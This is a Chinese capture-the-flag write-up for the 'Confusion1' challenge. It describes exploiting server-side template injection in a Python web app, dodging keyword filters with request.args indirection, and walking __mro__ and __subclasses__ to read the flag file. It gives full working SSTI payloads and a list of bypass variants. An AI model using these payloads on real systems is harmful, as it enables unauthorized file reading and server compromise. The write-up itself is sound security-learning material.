当前位置: 首页 > news >正文

攻防世界—Confusion1—(模板注入ssti)

一.解题

在login和register的页面中发现这个文件路径

接下去就找有什么点可以利用

二.ssti

通过题目信息可知是一只蛇把一只大象缠绕起来了,蛇代表python,大象代表php

这边通过python可以推测可能是模板注入,这边我看其他的解题是说通过看报文信息也可以得到,但是我这边确实没从报文信息得到

尝试模板注入:

确实存在模板注入;

三.进行模板注入

发现应该是被过滤了,

发现""没有过滤

__class__被过滤,采用其他的方式

{{""[reuqest.args.a]}}?a=__class__

通过a去get传参

成功

看来__base__也被过滤了

使用__mro__可以

寻找可利用模块——file,因为之前已经知道路径:

Flag @ /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt

如图可知模块在41,所以数组位置应该是40

利用该模块

{{""[request.args.a][request.args.b][2][request.args.c]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")}}?a=__class__&b=__mro__&c=__subclasses__

读取文件内容

{{""[request.args.a][request.args.b][2][request.args.c]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")[request.args.cmd]()}}?a=__class__&b=__mro__&c=__subclasses__&cmd=read

出答案:flag=cyberpeace{5de296bdf4c55c0e4ae11fc36988025a}

我这边顺便访问了一下另个文件内容是: _Y0uW1llN3verKn0w1t_

我抛给ai,给的结果是:you will never konw it

四.总结

在SSTI漏洞利用中,这种写法可以:

  • 绕过过滤:如果直接写 {{"".__class__}} 可能被WAF拦截

  • 动态属性访问:通过参数控制要访问的属性

  • 构造利用链:进一步获取其他危险类和方法

python# 获取基类
{{""[request.args.a]}}?a=__class__
{{""[request.args.a]}}?a=__base__# 获取object类
{{""[request.args.a]}}?a=__class__.__base__# 获取子类
{{""[request.args.a]}}?a=__class__.__base__.__subclasses__()

http://www.dtcms.com/a/346607.html

相关文章:

  • IPsec
  • selenium采集数据怎么应对反爬机制?
  • C++算法·进制转换
  • 2025/8/23c++++++++
  • kafaka知识要点
  • Spring Boot 3为何强制要求Java 17?
  • 【modbus】数据采集系统
  • 微服务概述1
  • Elasticsearch Ruby 客户端 Bulk Scroll Helpers 实战指南
  • 【Redis 进阶】----主从复制(重点理解流程和原理)
  • 【Tech Arch】Apache Flume海量日志采集的高速公路
  • 如何在 Spring Boot 中安全读取账号密码等
  • SpringBoot3整合dubbo3客户端【最佳实践】
  • 【204页PPT】某著名企业信息化规划方案(附下载方式)
  • 沟通效率提升 - 智能写作与邮件处理
  • 集成电路学习:什么是CNN卷积神经网络
  • 浏览器解析网址的过程
  • MiniOB环境部署开发(使用开源学堂)
  • 【小沐学GIS】基于C++绘制三维数字地球Earth(OpenGL、三维瓦片地球)第九期
  • 达梦数据库巡检常用SQL(二)
  • Flutter BLoC 全面入门与实战(含代码示例)
  • C#--- 锁总结
  • 在SAP Query中添加双击事件
  • 【CSP初赛】程序阅读3
  • 通过官方文档详解Ultralytics YOLO 开源工程-熟练使用 YOLO11实现分割、分类、旋转框检测和姿势估计(附测试代码)
  • 54 C++ 现代C++编程艺术3-移动构造函数
  • 园区节能减碳大屏可视化设计指南
  • SpringBoot 快速上手:从环境搭建到 HelloWorld 实战
  • frp+go-mmproxy 实现透明代理的内网穿透
  • Vue3 学习教程,从入门到精通,基于 Vue 3 + Element Plus + ECharts + JavaScript的51购商城项目(45)